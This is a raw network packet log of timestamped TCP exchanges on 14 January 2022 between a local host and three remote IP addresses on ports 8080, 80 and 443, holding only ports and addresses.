Jan 14, 2022 01:51:03.518942118 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.518961906 CET	49767	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 01:51:03.518982887 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.519020081 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.519035101 CET	49767	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 01:51:03.519058943 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.519097090 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.519110918 CET	49767	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 01:51:03.519264936 CET	49767	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 01:51:03.519979954 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.520019054 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.520059109 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.520097971 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.520112038 CET	49767	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 01:51:03.520136118 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.520163059 CET	49767	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 01:51:03.520174980 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.520214081 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.520236969 CET	49767	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 01:51:03.520461082 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.520502090 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.520543098 CET	49767	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 01:51:03.520548105 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.520587921 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.520627975 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.520667076 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.520667076 CET	49767	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 01:51:03.520677090 CET	49767	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 01:51:03.520705938 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.520745039 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.520775080 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.520804882 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.520833969 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.520875931 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.520914078 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.520951033 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.520967007 CET	49767	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 01:51:03.520999908 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.521038055 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.521074057 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.521097898 CET	49767	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 01:51:03.521106958 CET	49767	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 01:51:03.521114111 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.521152020 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.521171093 CET	49767	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 01:51:03.521190882 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.521231890 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.521286011 CET	49767	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 01:51:03.521292925 CET	49767	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 01:51:03.521353006 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.521393061 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.521492958 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.521533966 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.521570921 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.521594048 CET	49767	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 01:51:03.521604061 CET	49767	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 01:51:03.521609068 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.521666050 CET	49767	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 01:51:03.522321939 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.522362947 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.522399902 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.523075104 CET	49767	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 01:51:03.581681967 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.581774950 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.581801891 CET	49767	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 01:51:03.581835985 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.581928968 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.581938982 CET	49767	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 01:51:03.581995010 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.582046032 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.582102060 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.582108021 CET	49767	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 01:51:03.582150936 CET	49767	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 01:51:03.582180023 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.582231045 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.582288027 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.582335949 CET	49767	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 01:51:03.582338095 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.582407951 CET	49767	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 01:51:03.582411051 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.582463026 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.582523108 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.582585096 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.582622051 CET	49767	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 01:51:03.582637072 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.582703114 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.582703114 CET	49767	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 01:51:03.582767963 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.582828045 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.582828999 CET	49767	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 01:51:03.582894087 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.582917929 CET	49767	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 01:51:03.582952976 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.583002090 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.583060980 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.583112955 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.583168983 CET	49767	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 01:51:03.583173037 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.583178997 CET	49767	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 01:51:03.583237886 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.583280087 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.583336115 CET	49767	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 01:51:03.583342075 CET	49767	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 01:51:04.924010992 CET	49775	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:04.974699974 CET	80	49775	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:04.977691889 CET	49775	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:04.977871895 CET	49775	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:04.977958918 CET	49775	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:05.030050039 CET	80	49775	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:05.053297997 CET	80	49775	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:05.053466082 CET	80	49775	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:05.053546906 CET	49775	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:05.055485010 CET	49775	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:05.094393015 CET	49776	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:05.106677055 CET	80	49775	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:05.145519972 CET	80	49776	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:05.145814896 CET	49776	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:05.145906925 CET	49776	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:05.145925999 CET	49776	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:05.198021889 CET	80	49776	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:05.224926949 CET	80	49776	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:05.225631952 CET	49776	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:05.225807905 CET	49776	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:05.276067019 CET	80	49776	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:05.276149988 CET	49777	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:05.329895020 CET	80	49777	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:05.329988003 CET	49777	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:05.330105066 CET	49777	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:05.330133915 CET	49777	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:05.382029057 CET	80	49777	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:05.411288023 CET	80	49777	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:05.411412001 CET	49777	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:05.411561012 CET	49777	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:05.443916082 CET	49778	443	192.168.2.3	162.159.134.233
Jan 14, 2022 01:51:05.443988085 CET	443	49778	162.159.134.233	192.168.2.3
Jan 14, 2022 01:51:05.444076061 CET	49778	443	192.168.2.3	162.159.134.233
Jan 14, 2022 01:51:05.444333076 CET	49778	443	192.168.2.3	162.159.134.233
Jan 14, 2022 01:51:05.444360971 CET	443	49778	162.159.134.233	192.168.2.3
Jan 14, 2022 01:51:05.462172031 CET	80	49777	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:05.497705936 CET	443	49778	162.159.134.233	192.168.2.3
Jan 14, 2022 01:51:05.502866983 CET	49778	443	192.168.2.3	162.159.134.233
Jan 14, 2022 01:51:05.509673119 CET	49778	443	192.168.2.3	162.159.134.233
Jan 14, 2022 01:51:05.509707928 CET	443	49778	162.159.134.233	192.168.2.3
Jan 14, 2022 01:51:05.510250092 CET	443	49778	162.159.134.233	192.168.2.3
Jan 14, 2022 01:51:05.518627882 CET	49778	443	192.168.2.3	162.159.134.233
Jan 14, 2022 01:51:05.561883926 CET	443	49778	162.159.134.233	192.168.2.3
Jan 14, 2022 01:51:05.568542957 CET	443	49778	162.159.134.233	192.168.2.3
Jan 14, 2022 01:51:05.568703890 CET	443	49778	162.159.134.233	192.168.2.3
Jan 14, 2022 01:51:05.568779945 CET	443	49778	162.159.134.233	192.168.2.3
Jan 14, 2022 01:51:05.568804979 CET	49778	443	192.168.2.3	162.159.134.233
Jan 14, 2022 01:51:05.568851948 CET	443	49778	162.159.134.233	192.168.2.3
Jan 14, 2022 01:51:05.568934917 CET	443	49778	162.159.134.233	192.168.2.3
Jan 14, 2022 01:51:05.568999052 CET	49778	443	192.168.2.3	162.159.134.233
Jan 14, 2022 01:51:05.569003105 CET	443	49778	162.159.134.233	192.168.2.3
Jan 14, 2022 01:51:05.569024086 CET	443	49778	162.159.134.233	192.168.2.3
Jan 14, 2022 01:51:05.569057941 CET	49778	443	192.168.2.3	162.159.134.233
Jan 14, 2022 01:51:05.569122076 CET	443	49778	162.159.134.233	192.168.2.3
Jan 14, 2022 01:51:05.569183111 CET	443	49778	162.159.134.233	192.168.2.3
Jan 14, 2022 01:51:05.569240093 CET	49778	443	192.168.2.3	162.159.134.233
Jan 14, 2022 01:51:05.569245100 CET	443	49778	162.159.134.233	192.168.2.3
Jan 14, 2022 01:51:05.569262981 CET	443	49778	162.159.134.233	192.168.2.3
Jan 14, 2022 01:51:05.569300890 CET	49778	443	192.168.2.3	162.159.134.233
Jan 14, 2022 01:51:05.569358110 CET	443	49778	162.159.134.233	192.168.2.3
Jan 14, 2022 01:51:05.569415092 CET	49778	443	192.168.2.3	162.159.134.233
Jan 14, 2022 01:51:05.569422960 CET	443	49778	162.159.134.233	192.168.2.3
Jan 14, 2022 01:51:05.569441080 CET	443	49778	162.159.134.233	192.168.2.3
Jan 14, 2022 01:51:05.569556952 CET	443	49778	162.159.134.233	192.168.2.3
Jan 14, 2022 01:51:05.569616079 CET	49778	443	192.168.2.3	162.159.134.233
Jan 14, 2022 01:51:05.569617987 CET	443	49778	162.159.134.233	192.168.2.3
Jan 14, 2022 01:51:05.569636106 CET	443	49778	162.159.134.233	192.168.2.3
Jan 14, 2022 01:51:05.569670916 CET	49778	443	192.168.2.3	162.159.134.233
Jan 14, 2022 01:51:05.569757938 CET	443	49778	162.159.134.233	192.168.2.3
Jan 14, 2022 01:51:05.569817066 CET	443	49778	162.159.134.233	192.168.2.3
Jan 14, 2022 01:51:05.569869995 CET	49778	443	192.168.2.3	162.159.134.233
Jan 14, 2022 01:51:05.569888115 CET	443	49778	162.159.134.233	192.168.2.3
Jan 14, 2022 01:51:05.569956064 CET	49778	443	192.168.2.3	162.159.134.233
Jan 14, 2022 01:51:05.569967985 CET	443	49778	162.159.134.233	192.168.2.3
Jan 14, 2022 01:51:05.570023060 CET	443	49778	162.159.134.233	192.168.2.3
Jan 14, 2022 01:51:05.570082903 CET	49778	443	192.168.2.3	162.159.134.233
Jan 14, 2022 01:51:05.570096970 CET	443	49778	162.159.134.233	192.168.2.3
Jan 14, 2022 01:51:05.570164919 CET	443	49778	162.159.134.233	192.168.2.3
Jan 14, 2022 01:51:05.570231915 CET	49778	443	192.168.2.3	162.159.134.233
Jan 14, 2022 01:51:05.570245028 CET	443	49778	162.159.134.233	192.168.2.3
Jan 14, 2022 01:51:05.570311069 CET	443	49778	162.159.134.233	192.168.2.3
Jan 14, 2022 01:51:05.570372105 CET	443	49778	162.159.134.233	192.168.2.3
Jan 14, 2022 01:51:05.570425987 CET	49778	443	192.168.2.3	162.159.134.233
Jan 14, 2022 01:51:05.570432901 CET	443	49778	162.159.134.233	192.168.2.3
Jan 14, 2022 01:51:05.570453882 CET	443	49778	162.159.134.233	192.168.2.3
Jan 14, 2022 01:51:05.570487022 CET	49778	443	192.168.2.3	162.159.134.233
Jan 14, 2022 01:51:05.570547104 CET	443	49778	162.159.134.233	192.168.2.3
Jan 14, 2022 01:51:05.570599079 CET	49778	443	192.168.2.3	162.159.134.233
Jan 14, 2022 01:51:05.570607901 CET	443	49778	162.159.134.233	192.168.2.3
Jan 14, 2022 01:51:05.570626020 CET	443	49778	162.159.134.233	192.168.2.3
Jan 14, 2022 01:51:05.570724010 CET	443	49778	162.159.134.233	192.168.2.3
Jan 14, 2022 01:51:05.570791006 CET	49778	443	192.168.2.3	162.159.134.233
Jan 14, 2022 01:51:05.570806026 CET	443	49778	162.159.134.233	192.168.2.3
Jan 14, 2022 01:51:05.570854902 CET	49778	443	192.168.2.3	162.159.134.233
Jan 14, 2022 01:51:05.570866108 CET	443	49778	162.159.134.233	192.168.2.3
Jan 14, 2022 01:51:05.570921898 CET	443	49778	162.159.134.233	192.168.2.3
Jan 14, 2022 01:51:05.570981979 CET	443	49778	162.159.134.233	192.168.2.3
Jan 14, 2022 01:51:05.571038008 CET	49778	443	192.168.2.3	162.159.134.233
Jan 14, 2022 01:51:05.571038008 CET	443	49778	162.159.134.233	192.168.2.3
Jan 14, 2022 01:51:05.571059942 CET	443	49778	162.159.134.233	192.168.2.3
Jan 14, 2022 01:51:05.571091890 CET	49778	443	192.168.2.3	162.159.134.233
Jan 14, 2022 01:51:05.571152925 CET	443	49778	162.159.134.233	192.168.2.3
Jan 14, 2022 01:51:05.571204901 CET	49778	443	192.168.2.3	162.159.134.233
Jan 14, 2022 01:51:05.571218967 CET	443	49778	162.159.134.233	192.168.2.3
Jan 14, 2022 01:51:05.571325064 CET	443	49778	162.159.134.233	192.168.2.3
Jan 14, 2022 01:51:05.571393013 CET	49778	443	192.168.2.3	162.159.134.233
Jan 14, 2022 01:51:05.571404934 CET	443	49778	162.159.134.233	192.168.2.3
Jan 14, 2022 01:51:05.586206913 CET	443	49778	162.159.134.233	192.168.2.3
Jan 14, 2022 01:51:05.586283922 CET	49778	443	192.168.2.3	162.159.134.233
Jan 14, 2022 01:51:05.586286068 CET	443	49778	162.159.134.233	192.168.2.3
Jan 14, 2022 01:51:05.586306095 CET	443	49778	162.159.134.233	192.168.2.3
Jan 14, 2022 01:51:05.586342096 CET	49778	443	192.168.2.3	162.159.134.233
Jan 14, 2022 01:51:05.586395025 CET	443	49778	162.159.134.233	192.168.2.3
Jan 14, 2022 01:51:05.586457968 CET	49778	443	192.168.2.3	162.159.134.233
Jan 14, 2022 01:51:05.586467028 CET	443	49778	162.159.134.233	192.168.2.3
Jan 14, 2022 01:51:05.586518049 CET	443	49778	162.159.134.233	192.168.2.3
Jan 14, 2022 01:51:05.586544991 CET	49778	443	192.168.2.3	162.159.134.233
Jan 14, 2022 01:51:05.586599112 CET	443	49778	162.159.134.233	192.168.2.3
Jan 14, 2022 01:51:05.586675882 CET	49778	443	192.168.2.3	162.159.134.233
Jan 14, 2022 01:51:05.586690903 CET	443	49778	162.159.134.233	192.168.2.3
Jan 14, 2022 01:51:05.586743116 CET	49778	443	192.168.2.3	162.159.134.233
Jan 14, 2022 01:51:05.586896896 CET	443	49778	162.159.134.233	192.168.2.3
Jan 14, 2022 01:51:05.586972952 CET	49778	443	192.168.2.3	162.159.134.233
Jan 14, 2022 01:51:05.586992979 CET	443	49778	162.159.134.233	192.168.2.3
Jan 14, 2022 01:51:05.587060928 CET	49778	443	192.168.2.3	162.159.134.233
Jan 14, 2022 01:51:05.587109089 CET	443	49778	162.159.134.233	192.168.2.3
Jan 14, 2022 01:51:05.587168932 CET	49778	443	192.168.2.3	162.159.134.233
Jan 14, 2022 01:51:05.603697062 CET	443	49778	162.159.134.233	192.168.2.3
Jan 14, 2022 01:51:05.603827953 CET	443	49778	162.159.134.233	192.168.2.3
Jan 14, 2022 01:51:05.603852987 CET	49778	443	192.168.2.3	162.159.134.233
Jan 14, 2022 01:51:05.603862047 CET	443	49778	162.159.134.233	192.168.2.3
Jan 14, 2022 01:51:05.603885889 CET	443	49778	162.159.134.233	192.168.2.3
Jan 14, 2022 01:51:05.603898048 CET	49778	443	192.168.2.3	162.159.134.233
Jan 14, 2022 01:51:05.603921890 CET	49778	443	192.168.2.3	162.159.134.233
Jan 14, 2022 01:51:05.603946924 CET	49778	443	192.168.2.3	162.159.134.233
Jan 14, 2022 01:51:05.603990078 CET	443	49778	162.159.134.233	192.168.2.3
Jan 14, 2022 01:51:05.604060888 CET	49778	443	192.168.2.3	162.159.134.233
Jan 14, 2022 01:51:05.604074001 CET	443	49778	162.159.134.233	192.168.2.3
Jan 14, 2022 01:51:05.604094028 CET	443	49778	162.159.134.233	192.168.2.3
Jan 14, 2022 01:51:05.604134083 CET	49778	443	192.168.2.3	162.159.134.233
Jan 14, 2022 01:51:05.604146957 CET	49778	443	192.168.2.3	162.159.134.233
Jan 14, 2022 01:51:05.604176998 CET	443	49778	162.159.134.233	192.168.2.3
Jan 14, 2022 01:51:05.604238033 CET	49778	443	192.168.2.3	162.159.134.233
Jan 14, 2022 01:51:05.604245901 CET	443	49778	162.159.134.233	192.168.2.3
Jan 14, 2022 01:51:05.604264021 CET	443	49778	162.159.134.233	192.168.2.3
Jan 14, 2022 01:51:05.604301929 CET	49778	443	192.168.2.3	162.159.134.233
Jan 14, 2022 01:51:05.604320049 CET	49778	443	192.168.2.3	162.159.134.233
Jan 14, 2022 01:51:05.604351044 CET	443	49778	162.159.134.233	192.168.2.3
Jan 14, 2022 01:51:05.604413033 CET	49778	443	192.168.2.3	162.159.134.233
Jan 14, 2022 01:51:05.604454994 CET	443	49778	162.159.134.233	192.168.2.3
Jan 14, 2022 01:51:05.604522943 CET	49778	443	192.168.2.3	162.159.134.233
Jan 14, 2022 01:51:05.604541063 CET	443	49778	162.159.134.233	192.168.2.3
Jan 14, 2022 01:51:05.604600906 CET	49778	443	192.168.2.3	162.159.134.233
Jan 14, 2022 01:51:05.604609966 CET	443	49778	162.159.134.233	192.168.2.3
Jan 14, 2022 01:51:05.604628086 CET	443	49778	162.159.134.233	192.168.2.3
Jan 14, 2022 01:51:05.604669094 CET	49778	443	192.168.2.3	162.159.134.233
Jan 14, 2022 01:51:05.604682922 CET	49778	443	192.168.2.3	162.159.134.233
Jan 14, 2022 01:51:05.604701996 CET	443	49778	162.159.134.233	192.168.2.3
Jan 14, 2022 01:51:05.604767084 CET	49778	443	192.168.2.3	162.159.134.233
Jan 14, 2022 01:51:05.604787111 CET	443	49778	162.159.134.233	192.168.2.3
Jan 14, 2022 01:51:05.604852915 CET	49778	443	192.168.2.3	162.159.134.233
Jan 14, 2022 01:51:05.604876995 CET	443	49778	162.159.134.233	192.168.2.3
Jan 14, 2022 01:51:05.604948044 CET	49778	443	192.168.2.3	162.159.134.233
Jan 14, 2022 01:51:05.604964972 CET	443	49778	162.159.134.233	192.168.2.3
Jan 14, 2022 01:51:05.605030060 CET	49778	443	192.168.2.3	162.159.134.233
Jan 14, 2022 01:51:05.605060101 CET	443	49778	162.159.134.233	192.168.2.3
Jan 14, 2022 01:51:05.605122089 CET	49778	443	192.168.2.3	162.159.134.233
Jan 14, 2022 01:51:05.622383118 CET	443	49778	162.159.134.233	192.168.2.3
Jan 14, 2022 01:51:05.622478962 CET	49778	443	192.168.2.3	162.159.134.233
Jan 14, 2022 01:51:05.622507095 CET	443	49778	162.159.134.233	192.168.2.3
Jan 14, 2022 01:51:05.622534037 CET	443	49778	162.159.134.233	192.168.2.3
Jan 14, 2022 01:51:05.622580051 CET	49778	443	192.168.2.3	162.159.134.233
Jan 14, 2022 01:51:05.622598886 CET	443	49778	162.159.134.233	192.168.2.3
Jan 14, 2022 01:51:05.622612000 CET	49778	443	192.168.2.3	162.159.134.233
Jan 14, 2022 01:51:05.622620106 CET	443	49778	162.159.134.233	192.168.2.3
Jan 14, 2022 01:51:05.622684956 CET	49778	443	192.168.2.3	162.159.134.233
Jan 14, 2022 01:51:05.622692108 CET	443	49778	162.159.134.233	192.168.2.3
Jan 14, 2022 01:51:05.622709036 CET	443	49778	162.159.134.233	192.168.2.3
Jan 14, 2022 01:51:05.622755051 CET	49778	443	192.168.2.3	162.159.134.233
Jan 14, 2022 01:51:05.622767925 CET	49778	443	192.168.2.3	162.159.134.233
Jan 14, 2022 01:51:05.622807026 CET	443	49778	162.159.134.233	192.168.2.3
Jan 14, 2022 01:51:05.622864962 CET	49778	443	192.168.2.3	162.159.134.233
Jan 14, 2022 01:51:05.622888088 CET	443	49778	162.159.134.233	192.168.2.3
Jan 14, 2022 01:51:05.622951031 CET	49778	443	192.168.2.3	162.159.134.233
Jan 14, 2022 01:51:05.623018026 CET	443	49778	162.159.134.233	192.168.2.3
Jan 14, 2022 01:51:05.623078108 CET	49778	443	192.168.2.3	162.159.134.233
Jan 14, 2022 01:51:05.623111963 CET	443	49778	162.159.134.233	192.168.2.3
Jan 14, 2022 01:51:05.623172045 CET	49778	443	192.168.2.3	162.159.134.233
Jan 14, 2022 01:51:05.623251915 CET	443	49778	162.159.134.233	192.168.2.3
Jan 14, 2022 01:51:05.623315096 CET	49778	443	192.168.2.3	162.159.134.233
Jan 14, 2022 01:51:05.623348951 CET	443	49778	162.159.134.233	192.168.2.3
Jan 14, 2022 01:51:05.623411894 CET	49778	443	192.168.2.3	162.159.134.233
Jan 14, 2022 01:51:05.623445988 CET	443	49778	162.159.134.233	192.168.2.3
Jan 14, 2022 01:51:05.623508930 CET	49778	443	192.168.2.3	162.159.134.233
Jan 14, 2022 01:51:05.623543024 CET	443	49778	162.159.134.233	192.168.2.3
Jan 14, 2022 01:51:05.623605013 CET	49778	443	192.168.2.3	162.159.134.233
Jan 14, 2022 01:51:05.623662949 CET	443	49778	162.159.134.233	192.168.2.3
Jan 14, 2022 01:51:05.623727083 CET	49778	443	192.168.2.3	162.159.134.233
Jan 14, 2022 01:51:05.623744011 CET	443	49778	162.159.134.233	192.168.2.3
Jan 14, 2022 01:51:05.623804092 CET	49778	443	192.168.2.3	162.159.134.233
Jan 14, 2022 01:51:05.624376059 CET	443	49778	162.159.134.233	192.168.2.3
Jan 14, 2022 01:51:05.624413967 CET	443	49778	162.159.134.233	192.168.2.3
Jan 14, 2022 01:51:05.624468088 CET	49778	443	192.168.2.3	162.159.134.233
Jan 14, 2022 01:51:05.624481916 CET	443	49778	162.159.134.233	192.168.2.3
Jan 14, 2022 01:51:05.624497890 CET	49778	443	192.168.2.3	162.159.134.233
Jan 14, 2022 01:51:05.624766111 CET	443	49778	162.159.134.233	192.168.2.3
Jan 14, 2022 01:51:05.624798059 CET	443	49778	162.159.134.233	192.168.2.3
Jan 14, 2022 01:51:05.624845982 CET	49778	443	192.168.2.3	162.159.134.233
Jan 14, 2022 01:51:05.624859095 CET	443	49778	162.159.134.233	192.168.2.3
Jan 14, 2022 01:51:05.624872923 CET	49778	443	192.168.2.3	162.159.134.233
Jan 14, 2022 01:51:05.624912024 CET	49778	443	192.168.2.3	162.159.134.233
Jan 14, 2022 01:51:05.625204086 CET	443	49778	162.159.134.233	192.168.2.3
Jan 14, 2022 01:51:05.625236034 CET	443	49778	162.159.134.233	192.168.2.3
Jan 14, 2022 01:51:05.625284910 CET	49778	443	192.168.2.3	162.159.134.233
Jan 14, 2022 01:51:05.625298023 CET	443	49778	162.159.134.233	192.168.2.3
Jan 14, 2022 01:51:05.625313044 CET	49778	443	192.168.2.3	162.159.134.233
Jan 14, 2022 01:51:05.625711918 CET	443	49778	162.159.134.233	192.168.2.3
Jan 14, 2022 01:51:05.625741959 CET	443	49778	162.159.134.233	192.168.2.3
Jan 14, 2022 01:51:05.625793934 CET	49778	443	192.168.2.3	162.159.134.233
Jan 14, 2022 01:51:05.625808001 CET	443	49778	162.159.134.233	192.168.2.3
Jan 14, 2022 01:51:05.625821114 CET	49778	443	192.168.2.3	162.159.134.233
Jan 14, 2022 01:51:05.625860929 CET	49778	443	192.168.2.3	162.159.134.233
Jan 14, 2022 01:51:05.626213074 CET	443	49778	162.159.134.233	192.168.2.3
Jan 14, 2022 01:51:05.626244068 CET	443	49778	162.159.134.233	192.168.2.3
Jan 14, 2022 01:51:05.626297951 CET	49778	443	192.168.2.3	162.159.134.233
Jan 14, 2022 01:51:05.626310110 CET	443	49778	162.159.134.233	192.168.2.3
Jan 14, 2022 01:51:05.626323938 CET	49778	443	192.168.2.3	162.159.134.233
Jan 14, 2022 01:51:05.626651049 CET	443	49778	162.159.134.233	192.168.2.3
Jan 14, 2022 01:51:05.626681089 CET	443	49778	162.159.134.233	192.168.2.3
Jan 14, 2022 01:51:05.626733065 CET	49778	443	192.168.2.3	162.159.134.233
Jan 14, 2022 01:51:05.626746893 CET	443	49778	162.159.134.233	192.168.2.3
Jan 14, 2022 01:51:05.626760006 CET	49778	443	192.168.2.3	162.159.134.233
Jan 14, 2022 01:51:05.626797915 CET	49778	443	192.168.2.3	162.159.134.233
Jan 14, 2022 01:51:05.627130985 CET	443	49778	162.159.134.233	192.168.2.3
Jan 14, 2022 01:51:05.627163887 CET	443	49778	162.159.134.233	192.168.2.3
